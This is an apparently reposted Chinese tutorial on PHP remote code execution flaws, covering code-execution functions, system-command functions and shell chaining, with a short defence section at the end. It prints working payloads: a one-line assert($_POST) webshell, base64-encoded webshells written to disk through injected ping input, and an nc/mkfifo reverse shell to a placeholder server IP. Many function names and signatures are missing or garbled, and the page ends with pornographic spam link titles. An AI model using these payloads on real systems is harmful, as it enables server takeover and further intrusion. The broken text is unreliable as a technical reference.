• 
    

      <address id="upfr9"><pre id="upfr9"><strike id="upfr9"></strike></pre></address>
      1. <address id="upfr9"><tr id="upfr9"></tr></address><dl id="upfr9"></dl>

        pHp中RCE漏洞1.原理產(chǎn)生原因及解決辦法(圖)

        2023-11-08    分類: 網(wǎng)站建設(shè)

        RCE漏洞

        1.原理

        原因:

        應(yīng)用程序沒有嚴(yán)格檢查和過濾用戶輸入,導(dǎo)致用戶輸入的參數(shù)作為命令執(zhí)行。一般分為代碼執(zhí)行和命令執(zhí)行。

        漏洞點(diǎn):

        1. 代碼中有命令執(zhí)行功能,可以控制輸入?yún)?shù)

        2. 代碼中有代碼執(zhí)行功能,可以控制輸入?yún)?shù)

        3.網(wǎng)站存在歷史漏洞(網(wǎng)站本身,各種組件)

        2.使用2.1.代碼執(zhí)行

        概述:

        由于業(yè)務(wù)需求php代碼執(zhí)行漏洞,有時需要調(diào)用一些函數(shù)來執(zhí)行pHp中的命令php代碼執(zhí)行漏洞,如:eval()、()、()、()等,如果有函數(shù)使用這些函數(shù),不檢查并過濾出用戶可以控制的參數(shù),那么這個頁面就可能存在遠(yuǎn)程代碼執(zhí)行漏洞。小于php7的拼接后依然可以執(zhí)行,但是eval不行。

        2.1.1.eval 函數(shù)

        eval($code) 將字符串代碼作為 pHp 代碼執(zhí)行

         
        

        注意:傳入eval()函數(shù)的參數(shù)必須是pHp代碼,即必須以分號結(jié)尾;

        函數(shù) eval() 語言結(jié)構(gòu)非常危險(xiǎn),因?yàn)樗试S執(zhí)行任意 pHp 代碼。

        不允許任何用戶提供的未經(jīng)完全驗(yàn)證的數(shù)據(jù)。

        2.1.2.功能

        ($[, $])

        檢查斷言是否為真。如果是字符串,則作為 pHp 代碼通過 () 執(zhí)行。

        
        

        注意:()函數(shù)將傳入的參數(shù)作為pHp代碼直接執(zhí)行,不需要以分號結(jié)尾。

        2.1.3.功能

        ($, $, $ [, int:'EOF', got'&' at 19: ...it = -1 [, int &? ]])

        執(zhí)行正則表達(dá)式搜索和替換,搜索要替換的匹配部分。

         
        

        ('規(guī)則規(guī)則','替換字符','目標(biāo)字符')

        pCRE修飾符e:()執(zhí)行替換字符串的反向引用替換后,將替換字符串作為php代碼(eval函數(shù)方法)求值執(zhí)行,執(zhí)行結(jié)果作為實(shí)際參與替換的字符串。

        2.1.4.功能

        ($, $ [, $…])

        ():返回?cái)?shù)組,即對每個元素應(yīng)用函數(shù)后的數(shù)組。函數(shù)參數(shù)的個數(shù)和傳遞給()的數(shù)組個數(shù)必須相同。對數(shù)組的每個元素應(yīng)用回調(diào)函數(shù)

        
        

        2.1.5.功能

        ($args, $code)

        從傳遞的參數(shù)創(chuàng)建一個匿名函數(shù)并為其返回一個唯一的名稱。通常這些參數(shù)將作為單引號字符串傳遞。使用單引號的原因是為了保護(hù)變量名不被解析。否則,如果使用雙引號,則需要對變量名進(jìn)行轉(zhuǎn)義,例如$avar。函數(shù)默認(rèn)為 eval

        
        

        2.1.6.功能

        ($[, $[, $…]])

        第一個參數(shù)是要調(diào)用的回調(diào)函數(shù),其余參數(shù)是回調(diào)函數(shù)的參數(shù)。調(diào)用第一個參數(shù)作為回調(diào)函數(shù)

        
        

        2.1.7.功能

        ($, $):

        調(diào)用第一個參數(shù)作為回調(diào)函數(shù)(),傳入?yún)?shù)數(shù)組作為()作為回調(diào)函數(shù)的參數(shù)。

        
        

        2.1.8.功能

        ($[, $[, int $flag = 0 ]])

        使用回調(diào)函數(shù)過濾數(shù)組中的元素;依次將數(shù)組中的每個值傳遞給函數(shù)。

        
        

        2.1.9.雙引號

        
        

        在php中,如果有雙引號中的變量,php解釋器會用變量解釋的結(jié)果來代替。單引號中的變量不會被處理,雙引號中的函數(shù)不會被執(zhí)行或替換。

        作為字符串執(zhí)行:

        echo "phpinfo()"; 
        

        作為代碼執(zhí)行:

        echo "{${phpinfo()}}"; 
        

        執(zhí)行一句話木馬:

        echo "${@assert($_pOST[a])}"; 
        

        通過post數(shù)據(jù)將木馬寫入服務(wù)器

        echo -n 'pD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+' | base64 -d > 111.php
        

        2.2.命令執(zhí)行

        概述:

        一般出現(xiàn)這種漏洞是因?yàn)閼?yīng)用系統(tǒng)需要為用戶提供指定的遠(yuǎn)程命令操作接口。例如,在我們常見的路由器、防火墻、入侵檢測設(shè)備等的web管理界面上,一般都會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標(biāo)Ip。提交后,后臺會對Ip地址進(jìn)行ping測試并返回測試結(jié)果。但是,如果設(shè)計(jì)者在完成該功能時沒有實(shí)施嚴(yán)格的安全控制,可能會導(dǎo)致攻擊者通過該接口提交惡意命令在后臺執(zhí)行,從而獲取后臺服務(wù)器的權(quán)限。

        使用pHp的系統(tǒng)命令執(zhí)行功能調(diào)用系統(tǒng)命令并執(zhí)行。此類函數(shù)包括()、exec()、()、()、()、()、()等,除了反引號命令執(zhí)行外,這種方式其實(shí)就是調(diào)用()函數(shù)來執(zhí)行。

        system():執(zhí)行外部程序,并且顯示輸出; 
        exec():執(zhí)行一個外部程序 
        shell_exec():通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。 
        passthru():執(zhí)行unix系統(tǒng)命令并且顯示原始輸出 
        pcntl_exec():在當(dāng)前進(jìn)程空間執(zhí)行指定程序 
        popen():打開進(jìn)程文件指針 
        proc_open():執(zhí)行一個命令,并且打開用來輸入/輸出的文件指針。
        

        2.2.1.exec 函數(shù)

        exec (:'EOF', got'&' at 18:... [, &? [, int &$ ]])

        執(zhí)行外部程序,exec()執(zhí)行參數(shù)指定的命令。

        
        

        exec 在執(zhí)行系統(tǒng)外部命令時不輸出結(jié)果,而是返回結(jié)果的最后一行。

        如果要獲取結(jié)果,可以使用第二個參數(shù)將其輸出到指定的數(shù)組。此數(shù)組中的一條記錄代表一行輸出。

        2.2.2.功能

        (:'EOF', got'&' at 16: [, int &?])

        該函數(shù)執(zhí)行參數(shù)指定的命令并輸出執(zhí)行結(jié)果。

        與exec不同的是,在執(zhí)行系統(tǒng)外部命令時,結(jié)果直接輸出到瀏覽器,如果命令執(zhí)行成功則返回true,否則返回。

        
        

        2.2.3.功能

        (:'EOF', got'&' at 16: [, int &?])

        執(zhí)行外部程序并顯示原始輸出,類似于exec()函數(shù),()函數(shù)也用于執(zhí)行外部命令()。當(dāng)執(zhí)行的Unix命令輸出二進(jìn)制數(shù)據(jù),需要直接傳輸?shù)綖g覽器時,需要用這個函數(shù)來代替exec()或()函數(shù)。

        區(qū)別在于:直接將結(jié)果輸出到瀏覽器,不返回任何值,可以輸出二進(jìn)制,比如圖片數(shù)據(jù)。第二個參數(shù)是可選的,是狀態(tài)碼。

        ";
        echo $b;
        ?>
        

        命令執(zhí)行成功返回0,執(zhí)行不成功返回1

        2.2.4.功能

        ($cmd)

        通過環(huán)境執(zhí)行命令并以字符串形式返回完整的輸出。

        此函數(shù)與執(zhí)行運(yùn)算符 (`) 相同

        $output

        "; echo `$cmd`; ?>

        輸出是一樣的。

        2.2.5. 命令執(zhí)行常用特殊字符

        cmd1|cmd2:無論cmd1是否執(zhí)行成功,都會執(zhí)行cmd2

        cmd1; cmd2:無論cmd1是否執(zhí)行成功,都會執(zhí)行cmd2

        cmd1||cmd2:只有在cmd1執(zhí)行失敗時才執(zhí)行cmd2

        cmd1&&cmd2:cmd1執(zhí)行成功后才執(zhí)行

        2.2.6.

        寫:

        127.0.0.1|echo "" > ./sys/1.php      雙引號會解析變量導(dǎo)致一句話木馬缺失,可以使用\轉(zhuǎn)義變量進(jìn)行寫入 也可以使用單引號閉合
        127.0.0.1|echo ""> ./sys/3.php 
        127.0.0.1|echo "pD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/pg==" | base64 -d > ./sys/2.php 
        

        nc反彈:

        127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc 服務(wù)器ip 4444 > /tmp/pipe
        nc lvvp 4444
        

        3.傷害

        1. 繼承Web服務(wù)程序執(zhí)行系統(tǒng)命令或讀寫文件的權(quán)限

        2. 反彈并獲得目標(biāo)服務(wù)器的訪問權(quán)限

        3. 進(jìn)一步滲透內(nèi)網(wǎng)

        4.防御

        1.盡量不要執(zhí)行外部命令。

        2.使用自定義函數(shù)或函數(shù)庫替換外部命令的函數(shù)。

        3.使用 ||arg 函數(shù)處理命令參數(shù)。

        4.使用指定的可執(zhí)行文件的路徑(指定路徑的時候可以提前把要使用的命令放到這個路徑中)。

        當(dāng)前文章:pHp中RCE漏洞1.原理產(chǎn)生原因及解決辦法(圖)
        文章路徑:http://www.jbt999.com/news35/293135.html

        成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站內(nèi)鏈、網(wǎng)站營銷、網(wǎng)站策劃、App開發(fā)、Google、小程序開發(fā)

        廣告

        聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:[email protected]。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

      2. 
        

          <address id="upfr9"><pre id="upfr9"><strike id="upfr9"></strike></pre></address>
          1. <address id="upfr9"><tr id="upfr9"></tr></address><dl id="upfr9"></dl>
            五月天成人综合 | 五月天婷婷大香蕉 | 亚洲高清免费视频 | 青青草原精品视频在线观看 | 中文字幕一区二区久久人妻 | 久久久久久久国产精品亚洲 | 操操网伊人网 | 91精品婷婷国产综合久久 | 大鸡已久久久 | 天天av成人在线 天天不射视频网站 |